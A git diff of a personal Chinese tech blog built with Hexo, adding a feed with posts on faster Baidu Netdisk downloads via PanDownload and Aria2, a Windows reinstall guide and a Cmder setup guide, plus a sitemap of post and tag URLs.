Aria2c RPC 地址:127.0.0.1或localhost 6800 jsonrpc

Aria2c RPC 协议:HTTP

Aria2c RPC HTTP 请求方法:POST

Aria2c RPC 密钥:(填写自己的密钥,默认为空)

第三步、打开你的分享链接,在分享链接后面加上wp进入PanDownload

[无图警告]

第四步、点击想下载的文件,选择Aria2下载,输入内容如下:

主机:127.0.0.1 或 localhost

端口:6800 (如果自己改了端口就请填写自己的)

密钥:(默认留空,如果设置了密钥就填写密钥)

下载路径:(填自己电脑的文件夹路径,例如C:\Users\GamerNoTitle\Download,就是我的文档里面的下载文件夹)

(以下是一个例子,请不要按照我这么填!!!)

pandownload aria配置图

填好以后点确定会直接开始下载

这种方式是可以飞速下载的,当然这样下载的结果就是文件存放在了自己设定的目录。

忘了说了,pandownload是有每日获取次数限制的,限制是限制公网ip,也就是同网络下一个人被限制了,其他人也会被限制,不知道具体是多少次。。。

祝各位突破限速成功!

封面下载(来自Watch_Dogs 2):点我下载!(4K图)

狗二图包详见育碧!

DedSec

]]>
+ + + + + Software + + + + + + + Software + + Baidu + + BaiduNetdisk + + Aria2 + + + +
+ + + + + 别再问我怎么装系统了,再问我就把这边文章丢到你脸上! + + /posts/Windows-Setup/ + +

封面来源地址

为什么会写这篇文章?

昨天晚上我拉我们班某位钻石大佬打LOL,带我上分,结果他告诉我他电脑炸了,要重装系统,问我怎么重装系统。。。

我是这么回答他的(源自微信聊天记录):

我(内心):有句MMP不知当说不当说。。。

今天我就要来详细讲一讲怎么新装/重装系统(win7~Win10通用,不包含Linux)

序言

我会介绍两个方法,第一个我把它叫做萌新友好法,第二个我把它叫做萌新不友好法

这里用到的工具稍微列举一下:

1.萌新友好法:Windows官方镜像、一个8G+的U盘、U深度或者其他乱七八糟的PE工具箱(这里没有给U深度打广告的意思,只是我一般介绍别人方法的时候会告诉他用U深度)

2.萌新不友好法:Windows官方镜像、软碟通(Ultraiso,无需注册)、一个8G+的U盘

开始装机!

1.1/2.1、镜像下载

你需要去微软官网或者是某些网站上面下载Windows的官方镜像,这里推荐Windows官方下载工具或者推荐网站MSDN, 我告诉你下载镜像。

需要注意的是,如果使用Windows官方下载工具,建议直接使用里面的“为另一台电脑创建介质“功能,并且直接插入U盘写入,当然你愿意选择创建ISO也可以,ISO的用法会在下面提到。

如果使用MSDN下载,那么建议使用支持ed2k协议的下载工具(例如迅雷,但不推荐)来下载,在这里介绍我平常使用的方式:将ed2k链接丢进百度网盘的离线下载,然后创建分享,在分享链接的pan.baidu.com的baidu后面加wp变成pan.baiduwp.com,进入PanDownload可以下载得快一些(文件需小于4G,否则还是得使用百度网盘)

1.2、写入U深度

插入U盘,勾上支持UEFI启动(现在的电脑应该都支持),点击开始制作。(当然你可以选择高级设置设定自己的UI)

制作完后可以试试模拟启动,看看是否制作成功了

1.3、解压Windows镜像

将Windows镜像解压,丢在U盘的根目录或建立文件夹丢在文件夹内(不要直接把镜像丢在ISO文件夹里面,等会会告诉你为什么)

1.4、从U盘启动

重启你的电脑,打开启动菜单(按什么键请问百度),选择你的U盘,如果发现有两个同样名字的U盘,优先选择前面有UEFI字样的,如果UEFI无法启动再选择没有UEFI的。进入PE,可以在导航栏右边的彩屏图标右键调整分辨率(不是必要的),关闭弹出来的装机工具(不推荐使用它,因为使用它装系统后第一次开机会有很多奇奇怪怪的软件。这也是不推荐把ISO直接丢在U盘的ISO文件夹里的原因)

1.5、用WindowsNTSetup安装系统

在桌面上找到WindowsNTSetup,或者在所有应用里面找到它,打开它。

Windows安装源请选择.\sources\install.wim或者.\sources\install.esd,引导驱动器选择你想要安装Windows的盘符(对单系统而言),安装驱动器选择你要安装Windows的盘符。

下面的版本选项选择你需要的版本,优化调整根据自己的需要调整。下面是我一般会选择的东西

调整完以后点开始安装即可!

1.6、安装完成

安装完成后,电脑将自动重启,请移除你的U盘,等待系统启动,并且根据提示设置你的电脑!

2.2、使用软碟通写入镜像

打开软碟通(以管理员身份运行),将你的Windows镜像拖入右边上面的框里面并双击打开(如果弹出提示请点“是”)

在上面的导航栏中选择启动–>写入硬盘映像,如果弹出UAC提示请点击是,就会出现写入页面(如下图)

点击写入,注意:此操作会清除你U盘的所有数据,包括所有分区!!!一旦你明白注意事项,点“是”就可以写入了

等待写入完成,重启电脑进入BOOT Menu,从U盘启动(UEFI优先)

2.3、安装Windows

根据提示安装,如果提示说无法安装,请点击下面的详细信息,根据内容百度解决,这里我提供最常见的一种情况

提示:Windows 无法安装到这个磁盘。选中的磁盘具有MBR分区表。在 EFI 系统上,Windows 只能安装到 GPT 磁盘。

方法:利用DiskGenius或者傲梅分区助手,将硬盘转换为GUID格式即可

安装完后,系统会自动重启,请移除你的U盘!

2.4、安装完成

系统已经安装完成,请根据系统提示配置你的电脑!

下次有谁再问我怎么装系统,或者有人问你怎么装系统,请把这篇文章给他/她看!

如果有什么问题,可以在评论区内告诉我,推荐使用Github账号登录,这样我可以快速找到你!
封面原图出处

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + + Cmd的互替软件,让Cmder来帮助你更好地使用控制台! + + /posts/cmder/ + +

Cmder

问题:什么是Cmd?

命令提示符是在操作系统中,提示进行命令输入的一种工作提示符。在不同的操作系统环境下,命令提示符各不相同。在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序,类似于微软的DOS操作系统。 ——来自 百度百科

为什么要用Cmder来替换Cmd呢?

1、Cmd有的时候复制粘贴很麻烦,Cmder则不会

2、Cmder可以分屏多开窗口,Cmd不行

3、Cmder可以设置窗口颜色,字体大小(更加美观)

4、Cmder有很多快捷键和谷歌浏览器操作类似(反正就是很多功能)

下载地址(官网):

Cmder官网

官网下载有mini版和完整版,我建议完整版(虽然我也不知道两个之间有什么区别,或许是少了点命令?)

一点小技巧:

你可以在系统属性里面配置环境变量,把cmder的路径加入到path里面去

然后以管理员身份打开cmd,输入

1
2
# 设置任意地方鼠标右键启动Cmder
Cmder.exe /REGISTER ALL

然后你就可以像我一样在任意地方打开cmder了

cmder-here

快捷键大全(官网有):

1
2
3
4
5
6
7
8
9
10
11
12
13
Tab       自动路径补全
Ctrl+T 建立新页签
Ctrl+W 关闭页签
Ctrl+Tab 切换页签
Alt+F4 关闭所有页签
Alt+Shift+1 开启cmd.exe
Alt+Shift+2 开启powershell.exe
Alt+Shift+3 开启powershell.exe (系统管理员权限)
Ctrl+1 快速切换到第1个页签
Ctrl+n 快速切换到第n个页签(n无上限)
Alt + enter 切换到全屏状态
Ctrl+r 历史命令搜索
Win+Alt+P 开启工具选项视窗
TIPS:如果中文不能正常显示,可以在设置的环境选项(Settings–>Startup–>Eniviroment)内加入以下语句
1
set LANG=zh_CN.UTF8 

cmder-cn

题外话

1、我没有收广告费,单纯是因为它很好用

2、Win10还是比较推荐Powershell的,但是win10以下powershell(即使内置)是没有在环境变量中的,所以win10以下我还是会用cmder


后期更新:

Powershell真香!


2020.3.19 更新

应评论区用户要求,我就来讲讲小白式玩法~

第一点:将cmder加入PATH变量

以Win10为例(Win10以下的path变量管理界面不一样,但是道理还是一样的)

我们首先右键我的电脑(此电脑),然后选择属性

在此电脑的属性页面中选择高级系统设置

在打开来的窗口选择环境变量

然后在上面的用户变量栏里面选择path然后点击编辑

在右侧点击新建,然后在框框里面先随便输入点内容(因为如果不输入直接点浏览的话会覆盖掉上面的数据)

接着选择浏览,选到你的cmder存放的目录,我这里是在G:\cmder,所以直接选择到这里就好了

点击确定,在左边的环境变量栏里面就会有刚刚选择的目录路径了

接着打开运行,你也可以通过Win+R来打开,在里面输入cmder然后确定

如果你能正常打开cmder就说明你设置成功啦!

上面说的把cmder加入到右键菜单,在电脑左下角的Win标那里右键,选择命令提示符(管理员)或者Windows Powershell(管理员)

把上面的那一串命令打进去就可以了。

你是不是完成配置了呢?那就开始你的cmder之旅吧!

]]>
+ + + + + Software + + + + + + + Software + + + +
+ + + + +
diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000000..cf30a2f3c0 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,1936 @@ + + + + + https://bili33.top/link/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/steamgames/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/tags/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/unlock-music/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Teamspeak-Server/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Ticwatch-pro-3-experience/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Unblock163Music/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Update-Python-on-my-server/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Use-telegram-with-pagermaid/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Valine-Admin/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Valine-Customize/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Valine-Magic/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Valorant-Shop-with-API/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Why-I-Choose-to-Repeat-High-School/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Why-I-return-to-Valine/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Why-my-sudo-is-so-slow/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Windows-Setup/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Windows10-Beautify/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/biliRoaming/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/butterfly-customize/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/cmder/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary1/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary10/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary2/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary3/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary4/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary5/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary6/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/hexo-deploy-guide/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/jsDelivr-Usage/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/lanqiao-2022-province/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/srs/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/vercel-reverse-proxy/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary7/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary8/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/diary9/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/bangumis/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/categories/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/charts/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-4/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-5/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-6/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-7/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CloudFlare-Workers-Section1/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CloudFlare-Workers/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Cloudflare-Workers-Section2/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Custom-Wechat-Pusher/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Deploy-biliroaming-go-server-with-flyio/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Deploy-biliroaming-typescript-server-with-vercel/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Enchance-my-Surface-Pro-5/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/FODI/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Fight-against-COVID19/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Full-use-of-replit/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Github-Basic/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch1/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch2/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch3/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch4/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch5/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch6/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch7/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch8/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Go-for-Python-Ch9/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Hitokoto-Spider/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/ID-History/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/INVAXION-Unlock-Log/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Install-apk-on-HUAWEI-Watch-Pro-3/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Install-black-synology-NAS-on-previous-PC/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/MATLAB20211125/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/MATLAB20211126/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/MCDR-Mirror-Server-Usage/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/MCDR-Usage/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/MHYY-AutoCheckin-Manual/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Make-Synology-NAS-to-BT-Downloader/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Making-GUI-with-PyQt5/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Migrate-jsdelivr-mirror-to-Gcore/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Move-your-wsa-data/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/My-Office365-is-Down/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Netease-Comment-Spider/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/NeteaseCloudGameFree/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/NeteaseMusicDownload/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Office365-Renew-Project/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Office365/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Pixiv-Nginx/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Pycharm-Unlimited-Evaluate/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Raspberry-4B-Log/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Stable-diffusion-webui-discovery/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Steam-Artwork/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/SteamAutoQueue-Manual/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/301Redirect/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/API-FLASK/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/Access-WSL-through-Windows/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/BaiduNetDisk-Limit-Break/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/BeatSaber-Noob/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CSGO-Anti-LowViolence/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CSGO-Server/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-20220529/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-20220619/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-20220826-wangdingcup-qinglong/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-1/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-2/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/posts/CTF-in-College-3/ + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/Dynamics/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/Music/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/5AM-Onedrive-Guide/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/666/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/666/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/About/index.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/CALABIYAU/CALABIYAU.html + + 2023-07-28 + + monthly + 0.6 + + + + https://bili33.top/CALABIYAU/README.html + + 2023-07-28 + + monthly + 0.6 + + + + + https://bili33.top/ + 2023-07-28 + daily + 1.0 + + + + + https://bili33.top/tags/Tech/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/SEO/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Optimize/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Webmaster/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Python/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Flask/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/API/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Host/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/WSL/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Windows/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Server/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Software/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Baidu/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/BaiduNetdisk/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Aria2/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Beat-Saber/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Games/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Mod/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/VR/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Pico-Neo-3/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/PicoVR/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/CSGO/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/AntiLowViolence/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/PerfectWorld/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/GameServer/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/CTF/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Crypto/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Morse/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Web/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/SSRF/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Hash/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Sec/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/HID/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/CobaltStrike/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Powershell/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Virus/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Trojan/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/WIFI/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/aircrack/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/msfconsole/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/msfvenom/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/apk/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/raspberry/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/reverse/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/decompile/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Cloudflare/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/JSProxy/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Notification/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/mail/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/railway/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/message/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/wechat/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/flyio/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/biliRoaming/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Surface/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/FydeOS/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Linux/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Ubuntu/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/linux-surface/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Onedrive/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/FODI/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Diary/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/COVID19/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/experience/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Github/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Noob/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Coding/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/datatype/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Stack/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Class/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Queue/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/String/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Dynamic/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/diary/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Regedit/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Save/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Game/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Smart-Watch/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/HUAWEI-Watch/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Synology/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/NAS/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/MATLAB/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Tutorial/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Script/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/BT/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Download/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Gcore/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/CDN/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/jsdelivr/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/hardlink/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Spider/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Netease/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Office365/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/IoT/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Raspberry/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Steam/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Customize/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Teamspeak/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Ticwatch/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/adb/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%BF%90%E7%BB%B4/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/%E6%9B%B4%E6%96%B0Python/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/%E7%BC%96%E8%AF%91/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Valine/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Serverless/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/meme/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/emoji/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Valorant/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/High-School/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Repetition/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Military/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Comments/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Website/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Cloud-Function/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Theme/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Warframe/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Hexo/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Github-Pages/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/live/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/stream/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Proxy/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Vercel/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/school/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/tags/Action/ + 2023-07-28 + weekly + 0.2 + + + + + + https://bili33.top/categories/Tech/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/categories/Software/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/categories/Games/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/categories/CTF/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/categories/Diary/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/categories/Coding/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/categories/diary/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/categories/MATLAB/ + 2023-07-28 + weekly + 0.2 + + + + https://bili33.top/categories/IoT/ + 2023-07-28 + weekly + 0.2 + + + diff --git a/steamgames/index.html b/steamgames/index.html new file mode 100644 index 0000000000..a09de8aaf4 --- /dev/null +++ b/steamgames/index.html @@ -0,0 +1,581 @@ +Steam游戏库 | GamerNoTitle + + + + + + + + + + + +
+

今天G胖又赚了多少?

+
+ + +
+
+ +
+ top + prev + 2 / 3 + next + end +
+
+

Comment
